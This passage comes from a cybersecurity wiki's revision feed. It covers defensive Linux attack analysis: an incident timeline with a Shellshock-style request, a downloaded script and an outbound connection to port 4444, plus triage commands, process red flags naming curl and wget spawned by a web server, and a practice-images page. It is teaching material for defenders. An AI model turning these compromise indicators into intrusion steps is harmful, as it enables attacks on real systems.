&#039;&#039;&#039;4. Timeline.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Time (UTC) !! Event !! Source&lt;br /&gt;
|-&lt;br /&gt;
| 13:58 to 13:59 || Repeated SSH failures from 198.51.100.7, then a successful login as &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || Shellshock-style request against &amp;lt;code&amp;gt;/cgi-bin/status.sh&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;access.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || &amp;lt;code&amp;gt;apache2&amp;lt;/code&amp;gt; spawns a shell that downloads and runs a script || process tree&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 || &amp;lt;code&amp;gt;/var/tmp/.cache/update&amp;lt;/code&amp;gt; created; cron entry added || file times, crontab&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 onward || Outbound connection to 203.0.113.50:4444 || &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Conclusions and open questions.&#039;&#039;&#039; The web server was compromised through a vulnerable CGI script, and there is persistence and an active outbound connection. Open questions: was the &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; SSH login also the attacker (check that account&#039;s history and keys)? What did the attacker reach with the web user&#039;s permissions? Is there any sign of privilege escalation to root (set-UID files, new accounts, a rootkit)? Until those are answered the machine cannot be considered clean.&lt;br /&gt;
&lt;br /&gt;
== After the analysis ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Contain:&#039;&#039;&#039; isolate the host from the network (firewall rule or unplug) rather than powering it off, so volatile evidence is preserved until you have captured it.&lt;br /&gt;
* &#039;&#039;&#039;Eradicate and recover:&#039;&#039;&#039; if an attacker had root, or if you found a rootkit, the safest course is to rebuild the system from trusted media and restore data from a backup that pre-dates the compromise, rather than trying to clean it in place.&lt;br /&gt;
* &#039;&#039;&#039;Reset credentials and keys&#039;&#039;&#039; that were on the machine: passwords, SSH keys, API tokens, database passwords, TLS keys.&lt;br /&gt;
* &#039;&#039;&#039;Close the way in:&#039;&#039;&#039; patch the vulnerable software, disable unneeded services (see [[Introduction to Service Auditing]]), and tighten SSH (key-only login, no root login, rate limiting).&lt;br /&gt;
* &#039;&#039;&#039;Write it up:&#039;&#039;&#039; the timeline, what you found, what you did and what you could not determine. This is what turns an incident into a lesson.&lt;br /&gt;
&lt;br /&gt;
== Quick reference: symptom to first check ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Symptom !! First place to look&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected logins || &amp;lt;code&amp;gt;last -aiF&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;secure&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;journalctl -u ssh&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Web server slow or making outbound connections || Process tree (&amp;lt;code&amp;gt;ps --forest&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;ss -tnp&amp;lt;/code&amp;gt;, web access and error logs&lt;br /&gt;
|-&lt;br /&gt;
| A process you cannot identify || &amp;lt;code&amp;gt;/proc/PID/exe&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;cwd&amp;lt;/code&amp;gt;; is the executable deleted, under &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, or in a hidden directory?&lt;br /&gt;
|-&lt;br /&gt;
| A user or service you do not recognize || &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; (UID 0 and login shells), &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| A program that keeps coming back || &amp;lt;code&amp;gt;crontab&amp;lt;/code&amp;gt;s, &amp;lt;code&amp;gt;systemctl list-timers&amp;lt;/code&amp;gt;, enabled unit files, shell start-up files, scripts those run&lt;br /&gt;
|-&lt;br /&gt;
| Someone can log in without a password || &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; files, &amp;lt;code&amp;gt;sshd_config&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Commands behave strangely or disagree || &amp;lt;code&amp;gt;debsums&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;rpm -Va&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt;, a memory image with Volatility, a trusted boot disk, &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; as a secondary check&lt;br /&gt;
|-&lt;br /&gt;
| Logs look too clean || File sizes and mtimes in &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt;, remote log server, &amp;lt;code&amp;gt;journalctl --verify&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;quot;What happened, and in what order?&amp;quot; || A timeline: &amp;lt;code&amp;gt;find -printf&amp;lt;/code&amp;gt; for a quick look, TSK &amp;lt;code&amp;gt;fls&amp;lt;/code&amp;gt; plus &amp;lt;code&amp;gt;mactime&amp;lt;/code&amp;gt; for a full one&lt;br /&gt;
|-&lt;br /&gt;
| Machine is off, or you have only a disk || Mount the image read-only (&amp;lt;code&amp;gt;ro,noexec,noload&amp;lt;/code&amp;gt;) and work through steps 2 to 6 on the mount&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Practicing safely ==&lt;br /&gt;
&lt;br /&gt;
The safest way to learn this is on machines built for it. Use intentionally vulnerable practice applications such as DVWA or WebGoat, run inside an isolated virtual machine or container on a network that is not connected to anything you care about, then practice on the &#039;&#039;defender&#039;&#039; side: read the logs, process list and files that your own test attack left behind. Never point attack tools at systems you do not own or have written permission to test.&lt;br /&gt;
&lt;br /&gt;
For disk-analysis practice there are also published sample Linux disk images, for example the set created by Ali Hadi&#039;s team at Champlain College for a digital forensics workshop, available from the [https://github.com/ashemery/LinuxForensics LinuxForensics repository on GitHub]. Check that repository&#039;s own terms before copying or redistributing anything from it.&lt;br /&gt;
&lt;br /&gt;
== Credits and license ==&lt;br /&gt;
&lt;br /&gt;
Parts of this page (the way live triage, memory analysis, disk images and timelines are organized; the process-analysis red flags; the set-UID, persistence and post-exploitation checklists; the Volatility and mounting workflows; and several examples such as the look-alike hidden directories) are adapted from &#039;&#039;Linux Forensics&#039;&#039; (version 3.0.2) by Hal Pomeranz, Copyright © Hal Pomeranz, distributed under the [https://creativecommons.org/licenses/by-sa/4.0/ Creative Commons Attribution-ShareAlike 4.0 International License]. The original course slides are available from the [https://archive.org/details/HalLinuxForensics Internet Archive].&lt;br /&gt;
&lt;br /&gt;
Changes: the material has been rewritten, condensed and reorganized into a single article; commands were re-checked and modified (and some added); and the SSH, web-log, worked-example and quick-reference sections are new. The original author has not reviewed or endorsed this page. Like the rest of WikiCyber, this page is available under CC BY-SA 4.0.&lt;br /&gt;
&lt;br /&gt;
== Sources and further reading ==&lt;br /&gt;
&lt;br /&gt;
* Hal Pomeranz, [https://archive.org/details/HalLinuxForensics &#039;&#039;Linux Forensics&#039;&#039;]. A full course covering the topics on this page in depth, including ext4 and XFS file system internals and deleted-file recovery.&lt;br /&gt;
* [https://attack.mitre.org/matrices/enterprise/linux/ MITRE ATT&amp;amp;CK: Linux matrix]. A catalog of attacker techniques (persistence, privilege escalation, defense evasion and more) with detection guidance.&lt;br /&gt;
* [https://csrc.nist.gov/pubs/sp/800/61/r3/final NIST SP 800-61 Rev. 3]. Incident response recommendations from the U.S. National Institute of Standards and Technology.&lt;br /&gt;
* [https://owasp.org/www-project-top-ten/ OWASP Top 10]. The most common web application risks, including injection.&lt;br /&gt;
* [https://nvd.nist.gov/vuln/detail/CVE-2014-6271 CVE-2014-6271 (Shellshock)] in the National Vulnerability Database.&lt;br /&gt;
* Tools: [https://github.com/tclahr/uac UAC] (live collection), [https://github.com/microsoft/avml AVML] and [https://github.com/504ensicsLabs/LiME LiME] (memory capture), [https://github.com/volatilityfoundation/volatility3 Volatility 3] (memory analysis), [https://www.sleuthkit.org/ The Sleuth Kit] (disk and timeline analysis), [https://github.com/libyal/libewf libewf] (E01 images), [https://github.com/simsong/bulk_extractor bulk_extractor] (data carving).&lt;br /&gt;
* [https://man7.org/linux/man-pages/ Linux man pages]. Reference for &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ausearch&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;losetup&amp;lt;/code&amp;gt; and the other commands used above.&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Practice_Images&amp;diff=140</id>
		<title>Practice Images</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Practice_Images&amp;diff=140"/>
		<updated>2026-09-19T06:27:25Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: FlyingShrimps moved page Draft:Practice Images to Practice Images without leaving a redirect: Approved by FlyingShrimps&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Last Updated: 9-18-2026&lt;br /&gt;
&lt;br /&gt;
== The list ==&lt;br /&gt;
&lt;br /&gt;
The community&#039;s list of practice images for Windows, Linux and Cisco Packet Tracer, with difficulty, ratings, creators and download links, is kept in a shared spreadsheet:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;[https://docs.google.com/spreadsheets/d/1cdVHtk4w5JDJCYy-EO2_ycr0ZqMgUyjFOVDn5Y8eGVw/edit?usp=sharing Practice images spreadsheet]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Before you download ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Large and multi-part downloads are normal.&#039;&#039;&#039; Use [https://www.7-zip.org/ 7-Zip] to extract them, and read the README inside each image before you start.&lt;br /&gt;
* &#039;&#039;&#039;Try before you peek.&#039;&#039;&#039; Where a walkthrough or answer key exists, you learn far more if you work until you are truly out of ideas first.&lt;br /&gt;
* Cisco Packet Tracer activity files (&amp;lt;code&amp;gt;.pka&amp;lt;/code&amp;gt;) need [https://www.netacad.com/ Cisco Packet Tracer], which Cisco offers through its Networking Academy.&lt;br /&gt;
* This list is unofficial and is not affiliated with CyberPatriot, the Air &amp;amp; Space Forces Association, Cisco or Microsoft. Each image belongs to its creator.&lt;br /&gt;
&lt;br /&gt;
[[Category:Practice images]]&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Practice_Images&amp;diff=139</id>
		<title>Practice Images</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Practice_Images&amp;diff=139"/>
		<updated>2026-09-19T06:27:25Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: Approved by FlyingShrimps: removing the submission notice and Pending review category&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Last Updated: 9-18-2026&lt;br /&gt;
&lt;br /&gt;
== The list ==&lt;br /&gt;
&lt;br /&gt;
The community&#039;s list of practice images for Windows, Linux and Cisco Packet Tracer, with difficulty, ratings, creators and download links, is kept in a shared spreadsheet:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;[https://docs.google.com/spreadsheets/d/1cdVHtk4w5JDJCYy-EO2_ycr0ZqMgUyjFOVDn5Y8eGVw/edit?usp=sharing Practice images spreadsheet]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Before you download ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Large and multi-part downloads are normal.&#039;&#039;&#039; Use [https://www.7-zip.org/ 7-Zip] to extract them, and read the README inside each image before you start.&lt;br /&gt;
* &#039;&#039;&#039;Try before you peek.&#039;&#039;&#039; Where a walkthrough or answer key exists, you learn far more if you work until you are truly out of ideas first.&lt;br /&gt;
* Cisco Packet Tracer activity files (&amp;lt;code&amp;gt;.pka&amp;lt;/code&amp;gt;) need [https://www.netacad.com/ Cisco Packet Tracer], which Cisco offers through its Networking Academy.&lt;br /&gt;
* This list is unofficial and is not affiliated with CyberPatriot, the Air &amp;amp; Space Forces Association, Cisco or Microsoft. Each image belongs to its creator.&lt;br /&gt;
&lt;br /&gt;
[[Category:Practice images]]&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Practice_Images&amp;diff=138</id>
		<title>Practice Images</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Practice_Images&amp;diff=138"/>
		<updated>2026-09-19T06:26:50Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
Last Updated: 9-18-2026&lt;br /&gt;
&lt;br /&gt;
== The list ==&lt;br /&gt;
&lt;br /&gt;
The community&#039;s list of practice images for Windows, Linux and Cisco Packet Tracer, with difficulty, ratings, creators and download links, is kept in a shared spreadsheet:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;[https://docs.google.com/spreadsheets/d/1cdVHtk4w5JDJCYy-EO2_ycr0ZqMgUyjFOVDn5Y8eGVw/edit?usp=sharing Practice images spreadsheet]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Before you download ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Large and multi-part downloads are normal.&#039;&#039;&#039; Use [https://www.7-zip.org/ 7-Zip] to extract them, and read the README inside each image before you start.&lt;br /&gt;
* &#039;&#039;&#039;Try before you peek.&#039;&#039;&#039; Where a walkthrough or answer key exists, you learn far more if you work until you are truly out of ideas first.&lt;br /&gt;
* Cisco Packet Tracer activity files (&amp;lt;code&amp;gt;.pka&amp;lt;/code&amp;gt;) need [https://www.netacad.com/ Cisco Packet Tracer], which Cisco offers through its Networking Academy.&lt;br /&gt;
* This list is unofficial and is not affiliated with CyberPatriot, the Air &amp;amp; Space Forces Association, Cisco or Microsoft. Each image belongs to its creator.&lt;br /&gt;
&lt;br /&gt;
[[Category:Practice images]]&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=135</id>
		<title>Attack Analysis</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=135"/>
		<updated>2026-09-18T22:16:37Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
[[Intro to Bash]], [[Grep and Loops]], [[Introduction to Service Auditing]], [[User Auditing - Beginner]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attack analysis&#039;&#039;&#039; is the work you do &#039;&#039;after&#039;&#039; something has gone wrong, or when you suspect it has: working out how an attacker got in, what they did, whether they are still there, and what you can prove. This page walks through that process on a Linux system, using tools that ship with (or are a package away from) a typical distribution, plus a few free forensic tools for memory and disk images.&lt;br /&gt;
&lt;br /&gt;
Everything here is written from the defender&#039;s side. The example attacker activity is described only as far as it helps you recognize it in logs and on disk.&lt;br /&gt;
&lt;br /&gt;
== Ground rules ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Only analyze systems you own or are explicitly authorized to examine.&#039;&#039;&#039; Reading other people&#039;s logs and files without permission is not &amp;quot;just looking.&amp;quot;&lt;br /&gt;
* &#039;&#039;&#039;Write down what you do.&#039;&#039;&#039; Keep a running note of every command you run and the time you ran it (in UTC). Your notes are how you (or someone else) can later tell your activity apart from the attacker&#039;s.&lt;br /&gt;
* &#039;&#039;&#039;One indicator is a lead, not a verdict.&#039;&#039;&#039; A failed-login flood, an odd file in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; or a scanner warning each has innocent explanations. Look for several independent signs that tell the same story.&lt;br /&gt;
* &#039;&#039;&#039;Do not trust a compromised machine to tell the truth.&#039;&#039;&#039; If an attacker had administrator (root) access, they may have replaced the very commands you use to investigate. See [[#Step 5: Rootkits and tampering|Step 5]].&lt;br /&gt;
* &#039;&#039;&#039;Understand before you delete.&#039;&#039;&#039; Removing a malicious file or killing a process is tempting, but it destroys evidence and can leave the real foothold (a cron job, an SSH key) untouched.&lt;br /&gt;
* &#039;&#039;&#039;Work on copies, read-only.&#039;&#039;&#039; Whenever you can, examine an image of the disk or memory rather than the original, mount images read-only, and record a hash (for example with &amp;lt;code&amp;gt;sha256sum&amp;lt;/code&amp;gt;) of each image when you make it so you can show later that it did not change.&lt;br /&gt;
&lt;br /&gt;
== The analysis loop ==&lt;br /&gt;
&lt;br /&gt;
Most investigations follow the same rough loop. You will often go around it more than once as new findings raise new questions.&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Preserve&#039;&#039;&#039; evidence: memory, running state and disks, before they change or disappear.&lt;br /&gt;
# &#039;&#039;&#039;Find the way in&#039;&#039;&#039;: the initial access (a guessed password, a vulnerable web application, a stolen key).&lt;br /&gt;
# &#039;&#039;&#039;Find what they did&#039;&#039;&#039;: commands run, files touched, accounts created, data reached.&lt;br /&gt;
# &#039;&#039;&#039;Find what they left behind&#039;&#039;&#039;: persistence, so they can come back.&lt;br /&gt;
# &#039;&#039;&#039;Look for hiding&#039;&#039;&#039;: rootkits and log tampering.&lt;br /&gt;
# &#039;&#039;&#039;Build a timeline&#039;&#039;&#039; that ties the above together, and check it for gaps.&lt;br /&gt;
# &#039;&#039;&#039;Contain, clean up and harden&#039;&#039;&#039;: only once you understand the scope.&lt;br /&gt;
&lt;br /&gt;
== Three ways to examine a system ==&lt;br /&gt;
&lt;br /&gt;
The same questions can be asked of a running machine, a copy of its memory, or a copy of its disk. Each has strengths and blind spots, and a thorough investigation uses more than one.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Approach !! What you get !! Watch out for&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Live system&#039;&#039;&#039; (typed commands, or a collection tool such as UAC) || Fast. Running processes, network connections, logged-in users, files and logs, in minutes. Often the only practical option when disks are huge, the network is slow, or there are many machines. || Every command you run changes the system a little, and you are relying on tools the attacker may have tampered with.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Memory image&#039;&#039;&#039; || Processes (including ones hidden from normal tools), network connections, loaded kernel modules, shell command history with timestamps, and data that never reaches disk. || Only exists while the machine is on. Linux analysis needs a description (&amp;quot;symbols&amp;quot;) of the exact kernel that was running, which can be hard to obtain (see [[#Going deeper: memory analysis with Volatility 3|below]]).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Disk image&#039;&#039;&#039; || Everything stored on disk: logs, configuration, user files, timestamps. Examined read-only, so it is the safest to work with, and can be examined again and again. || No running state. Large. Linux disks have extra layers (LVM, RAID, encryption) to get through, and deleted files are often hard to recover.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Where Linux keeps evidence ==&lt;br /&gt;
&lt;br /&gt;
Paths differ slightly between distributions. The main split is Debian/Ubuntu versus Red Hat family (RHEL, Fedora, Rocky, Alma).&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! What !! Where (Debian/Ubuntu) !! Where (RHEL family) !! What it tells you&lt;br /&gt;
|-&lt;br /&gt;
| Authentication and sudo || &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/secure&amp;lt;/code&amp;gt; || SSH logins (successful and failed), &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;su&amp;lt;/code&amp;gt; use, new accounts&lt;br /&gt;
|-&lt;br /&gt;
| General system log || &amp;lt;code&amp;gt;/var/log/syslog&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/messages&amp;lt;/code&amp;gt; || Service starts and crashes, kernel messages, cron runs&lt;br /&gt;
|-&lt;br /&gt;
| systemd journal || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || The same events, indexed; the only source on systems without a syslog daemon&lt;br /&gt;
|-&lt;br /&gt;
| Login records || &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastb&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt; (read &amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;) || same || Who logged in, from where, and when; failed logins&lt;br /&gt;
|-&lt;br /&gt;
| Web server logs || &amp;lt;code&amp;gt;/var/log/apache2/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/httpd/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || Every request the web server handled (see below)&lt;br /&gt;
|-&lt;br /&gt;
| Audit framework (if installed) || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || File access, command execution and account changes, according to the rules you configured&lt;br /&gt;
|-&lt;br /&gt;
| Package history || &amp;lt;code&amp;gt;/var/log/dpkg.log&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/apt/history.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;dnf history&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/dnf.log&amp;lt;/code&amp;gt; || Software installed or removed, and when&lt;br /&gt;
|-&lt;br /&gt;
| Shell history || &amp;lt;code&amp;gt;~/.bash_history&amp;lt;/code&amp;gt; (per user) || same || Commands a user typed (easily disabled or erased, so absence means little)&lt;br /&gt;
|-&lt;br /&gt;
| Scheduled tasks || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/crontabs/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/&amp;lt;/code&amp;gt; || Commands that run automatically&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; does not exist on a newer install, the system is logging to the journal only; use &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; instead.&lt;br /&gt;
&lt;br /&gt;
When you examine a &#039;&#039;&#039;mounted disk image&#039;&#039;&#039; (see [[#Working from a disk image|below]]), put the mount point in front of every one of these paths, for example &amp;lt;code&amp;gt;/mnt/data/var/log/auth.log&amp;lt;/code&amp;gt;. It is easy to read your own workstation&#039;s &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; by accident.&lt;br /&gt;
&lt;br /&gt;
== Step 1: Preserve evidence ==&lt;br /&gt;
&lt;br /&gt;
Evidence disappears in a predictable order: memory and running processes first, then temporary files, then things on disk, and finally whatever is stored somewhere the attacker cannot reach (a remote log server). Capture the most fragile evidence first, and &#039;&#039;&#039;do not reboot&#039;&#039;&#039; the machine until you have it. Where possible, write what you collect to external storage, not the suspect disk, so you do not overwrite deleted files that might matter.&lt;br /&gt;
&lt;br /&gt;
=== Live triage and volatile state ===&lt;br /&gt;
&lt;br /&gt;
If you have a way to capture memory (see [[#Capturing memory|next section]]), do that first: every command you type also changes what is in memory. If you do not, start with these:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
date -u; uptime                     # record the time and how long it has been up&lt;br /&gt;
who -a; w                           # who is logged in right now, and doing what&lt;br /&gt;
ps -eo pid,ppid,user,lstart,cmd --forest   # process tree with start times&lt;br /&gt;
sudo ss -tunap                      # all sockets with the owning process&lt;br /&gt;
sudo lsof -nP -i                    # network files, a second opinion on ss&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Collection tools.&#039;&#039;&#039; Typing commands by hand is slow and easy to get wrong under pressure. [https://github.com/tclahr/uac UAC] (Unix-like Artifacts Collector) is a free script that gathers the important live artifacts in a few minutes (processes and their executable paths, network connections, logged-in users, user and SSH files, logs, a list of set-UID programs, hashes of executable files, and a &amp;quot;body file&amp;quot; of all file timestamps for [[#Step 6: Building a timeline|timelines]]) and saves them in one compressed archive. It can also call a memory-capture tool:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# run from the unpacked UAC directory; &amp;quot;ir_triage&amp;quot; is the quick profile, &amp;quot;full&amp;quot; adds browser and application data&lt;br /&gt;
sudo ./uac -p ir_triage /mnt/evidence&lt;br /&gt;
&lt;br /&gt;
# same, plus a memory dump with AVML (UAC ships a configuration for it)&lt;br /&gt;
sudo ./uac -a memory_dump/avml.yaml -p ir_triage /mnt/evidence&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Option names and output folders change between UAC versions, so check the current documentation before an incident, not during one.&lt;br /&gt;
&lt;br /&gt;
==== Reading the process list ====&lt;br /&gt;
&lt;br /&gt;
Read the process tree with the parent/child relationship in mind. On Linux the tree is fairly flat and regular, so oddities stand out:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;A web server with a shell (&amp;lt;code&amp;gt;sh&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt;) or a download tool (&amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;) as a child&#039;&#039;&#039; is one of the clearest single indicators of a web-application compromise, because the web server has no ordinary reason to do that. In general, background services should not spawn interactive shells.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from the wrong place.&#039;&#039;&#039; System programs live under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt; (and third-party software under &amp;lt;code&amp;gt;/opt&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/usr/local&amp;lt;/code&amp;gt;). A program running from &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; or someone&#039;s home directory deserves a close look.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from a deleted file.&#039;&#039;&#039; Malware can start itself and then delete its own executable; the process keeps running, but the file is gone from the disk.&lt;br /&gt;
* &#039;&#039;&#039;Programs whose working directory is a hidden directory&#039;&#039;&#039; (a name starting with a dot).&lt;br /&gt;
* &#039;&#039;&#039;Orphans.&#039;&#039;&#039; When a parent process exits, its children are adopted by the init process (PID 1, usually &amp;lt;code&amp;gt;systemd&amp;lt;/code&amp;gt;), so an attacker&#039;s background job often shows a parent PID of 1. Many legitimate services look the same, so this is a reason to look, not a conclusion.&lt;br /&gt;
* &#039;&#039;&#039;Disguised names.&#039;&#039;&#039; A process can rename itself so that &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; shows something like &amp;lt;code&amp;gt;[kworker/3:3]&amp;lt;/code&amp;gt;, which looks like a kernel thread. Real kernel threads are children of &amp;lt;code&amp;gt;kthreadd&amp;lt;/code&amp;gt; (PID 2) and have no executable file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# programs running from a file that has since been deleted (common for malware that removes itself)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -F &#039;(deleted)&#039;&lt;br /&gt;
&lt;br /&gt;
